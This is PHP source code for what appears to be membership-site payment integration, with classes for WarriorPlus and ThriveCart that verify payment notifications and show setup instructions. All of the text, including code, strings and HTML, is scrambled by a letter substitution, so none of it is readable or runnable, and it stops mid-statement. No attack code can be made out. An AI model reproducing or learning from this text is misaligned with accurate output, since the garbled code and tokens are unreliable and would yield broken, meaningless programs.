SAxonmsFtB.QplrmU QplrmU.SuFnmsFtB, QplrmUuBkBuQplrmU =QzmU xsmkFu(Snvl), QplrmUmoFsnFDmxrsQplrmU =QzmU SxsAr[QplrmUDmoFsnoBDBxqmQplrmU], QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU )U } BunBxA (xnnBm(SxsAr[QplrmUDEoBDBxqmQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDsFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDBtFxuQplrmU])) { uxnm(SAxonmsFtB, SuFnmsFtB) = qoBz_nquxm(QTPMGU@ @QTPMGU, moxt(SxsAr[QplrmUDsFtBQplrmU]), N)U SoBnlum = FooFh( QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB, QplrmUBtFxuQplrmU =QzmU SxsAr[QplrmUDBtFxuQplrmU], QplrmUlnBosFtBQplrmU =QzmU SAxonmsFtB.QplrmU QplrmU.SuFnmsFtB, QplrmUmoFsnFDmxrsQplrmU =QzmU SxsAr[QplrmUDEoBDBxqmQplrmU], QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU )U xA (xnnBm(SxsAr[QplrmUnvlQplrmU])) { SoBnlum[QplrmUuBkBuQplrmU] = @xsmkFu(SxsAr[QplrmUnvlQplrmU])U } } BunB { SoBnlum = FooFh()U } SnmFmln = sluuU xA (xnnBm(SxsAr[QplrmUDmoFsnFDmxrsQplrmU])) { SnmFmln = SxsAr[QplrmUDmoFsnFDmxrsQplrmU]U } xA (SnmFmln == QplrmU	a2cQplrmU || SnmFmln == QplrmUd9e5QplrmU || SnmFmln == QplrmU72$aQplrmU || SnmFmln == QplrmUdf2db4-	be744QplrmU) { SoBnlum[QplrmUFDmxrsQplrmU] = QplrmUDFsDBuQplrmUU } oBmlos SoBnlumU } AlsDmxrs kBoxAh0c#(SkFon, SnBDoBm5Bh) { SoDqm=S_	b&;b$#[QTPMGUDEoBDBxqmQTPMGU]U SmxtB=S_	b&;b$#[QTPMGUmxtBQTPMGU]U SxmBt=S_	b&;b$#[QTPMGUxmBtQTPMGU]U SDEqrq=S_	b&;b$#[QTPMGUDEqrqQTPMGU]U Siiqrq=nyFO(QplrmUSnBDoBm5Bh|SoDqm|SmxtB|SxmBtQplrmU)U Siiqrq=nmomrlqqBo(nlEnmo(Siiqrq,P,H))U xA (SDEqrq==Siiqrq) { oBmlos SkFonU } oBmlos FooFh()U } AlsDmxrs kBoxAh702(Sqrnm, SnBDoBm5Bh) { zurEFu StBtEBozBsxlnU SlsBnDFqB = zBm_tFzxD_plrmBn_zqD()U SAxBuCn = FooFh(QTPMGUDDlnmsFtBQTPMGU, QTPMGUDDlnmBtFxuQTPMGU, QTPMGUDDlnmDDQTPMGU, QTPMGUDDlnmnmFmBQTPMGU, QTPMGUDmoFsnoBDBxqmQTPMGU, QTPMGUDqorCxmBtQTPMGU, QTPMGUDmoFsnFDmxrsQTPMGU, QTPMGUDmoFsnFAAxuxFmBQTPMGU, QTPMGUDmoFsnqlEuxnyBoQTPMGU, QTPMGUDqorCmhqBQTPMGU, QTPMGUDqorCmxmuBQTPMGU, QTPMGUDmoFsnqFhtBsmtBmyrCQTPMGU, QTPMGUDmoFsnFtrlsmQTPMGU, QTPMGUDFAAxmxCQTPMGU, QTPMGUDkBsCmyolQTPMGU, QTPMGUDkBoxAhQTPMGU)U xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU)==O) { Smyxn-QzmUsrmxAh()U } SkFon = FooFh()U AroBFDy (SAxBuCn Fn SAxBuC) { xA (xnnBm(Sqrnm[SAxBuC])) { SkFon[SAxBuC] = Sqrnm[SAxBuC]U } } Sqrq = QplrmUQplrmUU SxqsaxBuCn = FooFh()U AroBFDy (SkFon f$ SvBh =QzmU SkFulB) { xA (SvBh == QplrmUDkBoxAhQplrmU) { DrsmxslBU } SxqsaxBuCn[] = SvBhU } AroBFDy (SxqsaxBuCn Fn SAxBuC) { xA (SlsBnDFqB) { Sqrq .= nmoxqnuFnyBn(Sqrnm_kFon[SAxBuC]) . QplrmU|QplrmUU } BunB { Sqrq .= SkFon[SAxBuC] . QplrmU|QplrmUU } } Sqrq = Sqrq . SnBDoBm5BhU SDFuDBC!BoxAh = nyFO(tE_DrskBom_BsDrCxsz(Sqrq, QplrmU;#a-HQplrmU))U SDFuDBC!BoxAh = nmomrlqqBo(nlEnmo(SDFuDBC!BoxAh,P,H))U xA (SDFuDBC!BoxAh == SkFon[QplrmUDkBoxAhQplrmU]) { oBmlos SkFonU } oBmlos FooFh()U } qlEuxD AlsDmxrs srmxAh() { SnlEwBDm = QplrmU[702] 6!<rr 2rmxAxDFmxrs 4rzQplrmUU SqoxDB = QplrmUQplrmUU xA (xnnBm(S_01$#[QplrmUDmoFsnFtrlsmQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUDmoFsnFtrlsmQplrmU])U } xA (SqoxDB == QplrmUQplrmU) { SmyB0oxDB = QplrmUQplrmUU } BunB { SmyB0oxDB = QplrmU QplrmU . sltEBo_ArotFm(SqoxDB, N)U } xA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU	a2cQplrmU || S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUd9e5QplrmU || S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU72$aQplrmU) { SnlEwBDm .= QplrmU (	ba;2cQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU$f4bQplrmU) { SnlEwBDm .= QplrmU ($f4bQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUe744QplrmU) { SnlEwBDm .= QplrmU (	be744QplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUdf2db4-	be744QplrmU) { SnlEwBDm .= QplrmU (df2db44f#712QplrmU.SmyB0oxDB.QplrmU)QplrmUU } SqFhtBsmcFmB = PU xA (xnnBm(S_01$#[QplrmUDmoFsnmxtBQplrmU])) { SqFhtBsmcFmB = xsmkFu(S_01$#[QplrmUDmoFsnmxtBQplrmU])U } BunB { SqFhtBsmcFmB = mxtB()U } StBnnFzB = QplrmUf sBj nFuB/oBAlsC jFn qorDBnnBC\o\sAro DlnmrtBo QplrmU.ymtuBsmxmxBn(S_01$#[QplrmUDDlnmBtFxuQplrmU])U xA (SqFhtBsmcFmB) { StBnnFzB .= QplrmU rs QplrmU.CFmB(QplrmUt/C/QplrmU.Dyo(HG), SqFhtBsmcFmB).QplrmU Fm QplrmU.CFmB(QplrmUz:x f BQplrmU, SqFhtBsmcFmB)U } StBnnFzB .= QplrmU\o\s\o\scBmFxun:\o\s\o\sQplrmUU AroBFDy (S_01$# Fn SvBh =QzmU SkFulB) { StBnnFzB .= SvBh.QTPMGU: QTPMGU.SkFulB.QplrmU\o\sQplrmUU } Smyxn-QzmUBtFxu(SnlEwBDm, StBnnFzB)U } } DuFnn 3BtEBo9BsxlndFom?Fooxro BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_nBDoBmQplrmU)U SDyBDvrlm = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SnBDoBm)U xA (xnnBm(S_01$#[QplrmUjFooxroquln_mrvBsQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_mrvBsQplrmU, moxt(nmoxqnuFnyBn(S_01$#[QplrmUjFooxroquln_mrvBsQplrmU])))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_jFooxroquln_xmBtQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_jFooxroquln_xmBtQplrmU])) { SxmBtn = FooFh()U AroBFDy (S_01$#[QplrmUtBtEBozBsxln_jFooxroquln_xmBtQplrmU] Fn SvBh =QzmU SkFulB) { SxmBtn[SvBh] = SkFulBU } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_xmBtnQplrmU, SxmBtn)U } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_xmBtnQplrmU)U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } WQzmUY      QumUyMQzmU?Fooxro0uln 0FhtBsmQumU/yMQzmUYY      QumUyMQzmU$mBq O: $xzslq jxmy ?Fooxro 0ulnQumU/yMQzmUYY      QumUqQzmU	BzxnmBo Fs FDDrlsm Fm QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jFooxroquln.DrtQplrmUQzmU?Fooxro 0ulnQumU/FQzmU.Y      Y      QumUyMQzmU$mBq N: doBFmB 2Bj 0orClDmQumU/yMQzmUYY      QumUqQzmUfAmBo oBzxnmBoxsz FsC urzzxsz xsmr QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jFooxroquln.DrtQplrmUQzmU?Fooxro 0ulnQumU/FQzmU, zr mr QumUDrCBQzmU0orClDmnQumU/DrCBQzmU, QumUDrCBQzmU2Bj 0orClDm.QumU/DrCBQzmUQumU/qQzmUYY      QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY         QumUuxQzmU0orClDm 2FtB: QumUDrCBQzmU2FtB rA myB 0orClDmQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmUcBuxkBoh ;	4: QumUDrCBQzmUQumUWqyq BDyr yrtB_lou(QplrmU/urzxsQplrmU)U WQzmUQumU/DrCBQzmUQumU/uxQzmUY      QumU/luQzmUYY      QumUqQzmU$Doruu Crjs mr QumUDrCBQzmUfCkFsDBC 7smBzoFmxrs.QumU/DrCBQzmUQumU/qQzmUYY      QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY         QumUuxQzmU$rAmjFoB: QumUDrCBQzmU?xnyuxnm 3BtEBoQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmU?xnyuxnm ;	4: QumUDrCBQzmUQumUWqyq BDyr yrtB_lou()U WQzmUQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmUf07 5Bh: QumUDrCBQzmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFqx_vBhQplrmU)U WQzmUQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmU3BtEBonyxq $5;: QumUxQzmU(DyBDv mFEuB EBurj)QumU/xQzmUQumU/uxQzmUY         QumUuxQzmU?4 0rnm ;	4: QumUDrCBQzmUQumUWqyq BDyr yrtB_lou()U WQzmUQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmU2rmxAxDFmxrs ;	4: QumUDrCBQzmUQumUWqyq BDyr SDyBDvrlmU WQzmUQumU/DrCBQzmUQumU/uxQzmUY         QumUuxQzmU5Bh 9BsBoFmxrs ;	4: QumUxQzmU(uBFkB EuFsv)QumU/xQzmUQumU/uxQzmUY         QumUuxQzmU$BsC 702 #r cBuxkBoh ;	4: QumUDrCBQzmU12QumU/DrCBQzmUQumU/uxQzmUY      QumU/luQzmUYY      QumUyMQzmU$mBq M: $Bm $BDloxmh 5BhQumU/yMQzmUYY      QumUqQzmU7s ?Fooxro0uln, DuxDv rs hrlo lnBosFtB rs myB mrq oxzym, FsC xs myB CorqCrjs, DyrrnB QumUDrCBQzmUfDDrlsm $BmmxsznQumU/DrCBQzmU.QumU/qQzmUY      Y      QumUqQzmU#yBs DuxDv QumUDrCBQzmU$BDloxmh 5BhQumU/DrCBQzmU FsC xA hrl CrsQTPMGUm yFkB F nBDloxmh vBh nBm, DuxDv myB uxsv myFm nFhn QumUDrCBQzmUduxDv yBoB mr DoBFmB F ?Fooxro+0uln $BDloxmh vBh.QumU/DrCBQzmUQumU/qQzmUY      Y      QumUqQzmUdrqh FsC qFnmB hrlo nBDloxmh vBh Aort ?Fooxro0uln, BsmBo xm EBurj, FsC DuxDv $FkB.QumU/qQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUjFooxroquln_mrvBsQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_mrvBsQplrmU))U WQzmUQplrmU nxgB=QplrmUMKQplrmU /QzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB ?Fooxro0uln $BDloxmh 5BhQplrmU /QzmUQumU/qQzmUYY      QumUyMQzmU$mBq L: $qBDxAh 3BtEBonyxq $5; QFtqUFtqU 0rnm ;	4QumU/yMQzmUYY      QumUqQzmU7s myB mFEuB EBurj, DyrrnB jyxDy tBtEBonyxq uBkBu hrlQTPMGUoB zoFsmxsz FDDBnn mr. eFnBC rs myFm, Drqh myB QumUDrCBQzmU3BtEBonyxq $5;QumU/DrCBQzmU FsC QumUDrCBQzmU?4 0rnm ;	4QumU/DrCBQzmU xsmr ?Fooxro0uln FsC DuxDv QumUDrCBQzmU$FkBQumU/DrCBQzmU.YY      QumUyMQzmU$mBq K: drqh 0orClDm drCB Aort ?Fooxro0ulnQumU/yMQzmUYY      QumUqQzmUaxsFuuh, Drqh myB 0orClDm drCB (Aort myB mrq rA myB ?Fooxro0uln qFzB, FErkB QFtqUplrmU0orClDm 2FtBQFtqUplrmU) FsC qFnmB xm xs myB mFEuB EBurj mr tFmDy myB DrooBnqrsCxsz uBkBu myFm hrlo qorClDm oBuFmBn mr.QumUqQzmUY      Y      QumUqQzmU#yBs DuxDv QumUDrCBQzmU$FkB ?Fooxro0uln 0orClDm drCBn.QumU/DrCBQzmU #yxn xn sBDBnnFoh mr yFsCuB oBAlsCn.QumU/qQzmUYY      QumUEurDvplrmBQzmUY         QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY         QumUmyBFCQzmUY         QumUmoQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:NKPqiUQplrmUQzmU4BkBu mr 0orkxCB fDDBnn #r...QumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:OKPqiU mBim-Fuxzs:DBsmBoUQplrmUQzmU3BtEBonyxq $5;QumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:MPPqiU  mBim-Fuxzs:DBsmBoUQplrmUQzmU0orClDm drCBQumUEo /QzmUQumUntFuuQzmU(Aort ?Fooxro 0uln, x.B. QumUDrCBQzmUjnr_qOFEDOQumU/DrCBQzmU)QumU/ntFuuQzmUQumU/myQzmUY         QumU/moQzmUY         QumU/myBFCQzmUYY         QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY         QumUWqyq SxmBt = QplrmUQplrmUU xA (xnnBm(SxmBtn[SuBkBu-QzmU7c])) { SxmBt = SxmBtn[SuBkBu-QzmU7c]U } BunB { SxmBt = QplrmUQplrmUU } WQzmUY         QumUmoQzmUY            QumUmCQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY            QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmUQumU/mCQzmUY            QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU nxgB=QplrmUOPQplrmU sFtB=QplrmUtBtEBozBsxln_jFooxroquln_xmBt[QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr SxmBtU WQzmUQplrmU /QzmU QumU/mCQzmUY         QumUWqyq BsCAroBFDyU WQzmUY         QumU/mFEuBQzmUQumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB ?Fooxro0uln 0orClDm drCBnQplrmU /QzmUQumU/qQzmUY      QumUWqyqY } AlsDmxrs kBoxAh() { xA (xnnBm(S_01$#[QplrmU	bdb7!b	e;$72b$$QplrmU])) { oBmlos Smyxn-QzmUkBoxAh702()U } oBmlos sluuU } AlsDmxrs kBoxAh702() { zurEFu StBtEBozBsxlnU SxsAr = sluuU SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_mrvBsQplrmU)U xA (VSmrvBs) { oBmlosU } xA (VxnnBm(S_01$#[QplrmU?0_fd#712QplrmU]) || VxnnBm(S_01$#[QplrmU?0_$bd;	7#QplrmU.Dyo(HG).QplrmU5bQplrmU.Dyo(HG)]) || VxnnBm(S_01$#[QplrmU?0_7#b3_2;3eb	QplrmU]) || VxnnBm(S_01$#[QplrmU?0_7#b3_2;3eb	QplrmU]) || VxnnBm(S_01$#[QplrmU?0_$bd;	7#QplrmU.Dyo(HG).QplrmU5bQplrmU.Dyo(HG)])) { oBmlosU } xA (S_01$#[QplrmU?0_$bd;	7#QplrmU.Dyo(HG).QplrmU5bQplrmU.Dyo(HG)] V= SmrvBs) { oBmlosU } SxmBt = S_01$#[QplrmU?0_7#b3_2;3eb	QplrmU]U SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_xmBtnQplrmU)U SuBkBu = FooFh_nBFoDy(SxmBt, SxmBtn)U xA (VSuBkBu) { oBmlosU } SoBnlum = FooFh( QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU, QplrmUAxonmsFtBQplrmU =QzmU S_01$#[QplrmUa7	$#2f3bQplrmU], QplrmUuFnmsFtBQplrmU =QzmU S_01$#[QplrmU4f$#2f3bQplrmU], QplrmUBtFxuQplrmU =QzmU S_01$#[QplrmUb3f74QplrmU], QplrmUlnBosFtBQplrmU =QzmU S_01$#[QplrmUb3f74QplrmU], QplrmUuBkBuQplrmU =QzmU SuBkBu, QplrmUmoFsnFDmxrsQplrmU =QzmU S_01$#[QplrmU?0_#>27cQplrmU] )U SFDmxrs = S_01$#[QplrmU?0_fd#712QplrmU]U xA (SFDmxrs == QplrmUoBAlsCQplrmU) { SoBnlum[QplrmUFDmxrsQplrmU] = QplrmUDFsDBuQplrmUU oBmlos SoBnlumU } oBmlos SoBnlumU } } DuFnn 3BtEBo9BsxlndFom#yoxkB BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUmyoxkBDFom_mrvBsQplrmU])) { SmrvBs = moxt(S_01$#[QplrmUmyoxkBDFom_mrvBsQplrmU])U xA (VSmrvBs) { SmrvBs = sluuU } SmrvBs = nmomrlqqBo(moxt(nmoxqnuFnyBn(SmrvBs)))U SmrvBs = qoBz_oBquFDB(QTPMGU@[^f-<P-G]@nxQTPMGU, QTPMGUQTPMGU, SmrvBs)U StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_mrvBsQplrmU, SmrvBs)U } SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_mrvBsQplrmU)U SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_nBDoBmQplrmU)U SDyBDvrlm = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SnBDoBm)U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_myoxkBDFom_xmBtQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_myoxkBDFom_xmBtQplrmU])) { SxmBtn = FooFh()U AroBFDy (S_01$#[QplrmUtBtEBozBsxln_myoxkBDFom_xmBtQplrmU] Fn SvBh =QzmU SkFulB) { SkFulB = @xsmkFu(SkFulB)U xA (SkFulB QzmU P) { SxmBtn[SvBh] = SkFulBU } } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_xmBtnQplrmU, SxmBtn)U } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_xmBtnQplrmU)U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } WQzmUY      QumUyMQzmU#yoxkBdFom 0FhtBsmQumU/yMQzmUYY      QumUyMQzmU$mBq O: $xzs ;q jxmy #yoxkBdFomQumU/yMQzmUYY      QumUqQzmU	BzxnmBo Fs FDDrlsm Fm: QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://NFt--DyBDvrlm.myoxkBDFom.Drt/myoxkBDFom-nmFsCFoC-FDDrlsm/QplrmUQzmU#yoxkBdFomQumU/FQzmU (uxABmxtB FDDrlsm)QumU/qQzmUYY      QumUyMQzmU$mBq N: $Bm $BDoBm ?roC (mr 0orDBnn 0FhtBsmn)QumU/yMQzmUYY      QumUqQzmU4rzxs hrlo #yoxkBdFom FDDrlsm, DuxDv myB xDrs rs myB mrq oxzym, DyrrnB $Bmmxszn xs myB CorqCrjs tBsl, f07 QFtqUFtqU ?BEyrrvn, #yoxkBdFom f07, !xBj $Bmmxszn, qFnmB myB $BDoBm ?roC EBurj, FsC DuxDv $FkB.QumU/qQzmUYY      QumUEurDvplrmBQzmUY         QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUmyoxkBDFom_mrvBsQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SmrvBs)U WQzmUQplrmU nxgB=QplrmUMKQplrmU /QzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB #yoxkBdFom $BDoBm ?roCQplrmU /QzmUY      QumU/EurDvplrmBQzmUYY      QumUWqyq xA (SmrvBs): WQzmUY      QumUyMQzmU$mBq M: $Bm $lDDBnn ;	4(mr 8FsCuB 0loDyFnBn)QumU/yMQzmUYY      QumUqQzmUbCxm myB qorClDm hrl jFsm mr nBuu (QumUDrCBQzmU0orClDmnQumU/DrCBQzmU Fm myB mrq -- myBs AxsC hrlo qorClDm FsC DuxDv myB QumUDrCBQzmUbCxmQumU/DrCBQzmU Elmmrs lsCBo xm), DyrrnB myB QumUDrCBQzmUaluAxuutBsmQumU/DrCBQzmU mFE Fm myB mrq.QumU/qQzmUYY      QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY        QumUuxQzmU?yFm nyrluC yFqqBs FAmBo qloDyFnBW $Bm mr QumUDrCBQzmU$BsC myBt mr F ;	4QumU/DrCBQzmUQumU/uxQzmUY        QumUuxQzmU$lDBnn ;	4: $Bm mr QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/DrCBQzmUQumU/uxQzmUY        QumUuxQzmU;	4 BiqxoFmxrs: QumUDrCBQzmU2BkBoQumU/DrCBQzmUQumU/uxQzmUY        QumUuxQzmUduxDv QumUDrCBQzmU$FkB QFtqUFtqU 9Bm ;	4QumU/DrCBQzmU mr nFkB hrlo DyFszBnQumU/uxQzmUY     QumU/luQzmU      YY      QumUyMQzmU$mBq L: $Bm ?BEyrrv (mr 8FsCuB 	BAlsCn)QumU/yMQzmUYY      QumUqQzmU7s hrlo #yoxkBdFom FDDrlsm, DuxDv myB mrq oxzym xDrs, DyrrnB $Bmmxszn, f07 QFtqUFtqU ?BEyrrvn, ?BEyrrvn QFtqUFtqU 2rmxAxDFmxrsn, !xBj $Bmmxszn, fCC fsrmyBo ?BEyrrv.QumU/qQzmUYY      QumUqQzmUaro myB ?BEyrrv ;	4 QumUDrCBQzmU2FtBQumU/DrCBQzmU, BsmBo myB sFtB rA myxn jBEnxmB, x.B. QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QTPMGUEurzsFtBQTPMGU))U WQzmUQumU/DrCBQzmU -- myxn xn rsuh Aro hrlo oBABoBsDB.QumU/qQzmUY      Y      QumUqQzmUbsmBo myxn jBE FCCoBnn Aro hrlo jBE yrrv:QumU/qQzmUYY      QumUEurDvplrmBQzmUY         QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_srmxAhQplrmU xC=QplrmUtBtEBozBsxln_srmxAhQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCU EFDvzorlsC-Druro:jyxmBUQplrmU oBFCrsuh=QplrmUoBFCrsuhQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY         QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_srmxAhQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq K: 3FmDy #yoxkBdFom 0orClDm 7cn mr 3BtEBonyxq 4BkBunQumU/yMQzmUYY      QumUqQzmU7s #yoxkBdFom, DuxDv QumUDrCBQzmU0orClDmnQumU/DrCBQzmU (Fm myB mrq), AxsC myB qorClDm hrl jFsm mr tFmDy lq mr myxn jBEnxmB, FsC urDFmB myB qorClDm 7c. 4rrv Fm myB jBE FCCoBnn DFoBAluuh jyBs hrl BCxm myB qorClDm:QumU/qQzmUYY      QumUqQzmUQumUDrCBQzmUymmqn://myoxkBDFom.Drt/hrloFDDrlsmsFtB/T/qorClDmn/ONMQumU/DrCBQzmUQumU/qQzmUYY      QumUqQzmU#yB sltEBo Fm myB BsC rA myFm jBE FCCoBnn xn myB qorClDm 7c. 0FnmB xm xs myB mFEuB EBurj.QumU/qQzmUY      Y      QumUEurDvplrmBQzmUY         QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY         QumUmyBFCQzmUY         QumUmoQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:NKPqiUQplrmUQzmU4BkBu mr 0orkxCB fDDBnn #r...QumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:MPPqiU  mBim-Fuxzs:DBsmBoUQplrmUQzmU0orClDm 7cQumUEo /QzmUQumUntFuuQzmU(Aort #yoxkBdFom, x.B. QumUDrCBQzmUOPQumU/DrCBQzmU)QumU/ntFuuQzmUQumU/myQzmUY         QumU/moQzmUY         QumU/myBFCQzmUYY         QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY         QumUWqyq SxmBt = QplrmUQplrmUU xA (xnnBm(SxmBtn[SuBkBu-QzmU7c])) { SxmBt = SxmBtn[SuBkBu-QzmU7c]U } BunB { SxmBt = QplrmUQplrmUU } WQzmUY         QumUmoQzmUY            QumUmCQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY            QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU nxgB=QplrmUOPQplrmU sFtB=QplrmUtBtEBozBsxln_myoxkBDFom_xmBt[QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr SxmBtU WQzmUQplrmU /QzmU QumU/mCQzmUY         QumUWqyq BsCAroBFDyU WQzmUY         QumU/mFEuBQzmUQumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB #yoxkBdFom 0orClDm 2FtBnQplrmU /QzmUQumU/qQzmUY      QumUWqyq BunB: WQzmUY      QumUqQzmU$Bm hrlo #yoxkBdFom nBDoBm jroC EBAroB Drsmxslxsz.QumU/qQzmUY      QumUWqyq BsCxAU WQzmUY      QumUWqyqY } AlsDmxrs kBoxAh() { zurEFu StBtEBozBsxlnU SoBnlum = sluuU xA (xnnBm(S_01$#[QTPMGUmyoxkBDFom_FDDrlsmQTPMGU]) QFtqUQFtqU xnnBm(S_01$#[QTPMGUmyoxkBDFom_nBDoBmQTPMGU]) QFtqUQFtqU xnnBm(S_01$#[QTPMGUBkBsmQTPMGU])) { SmrvBs = 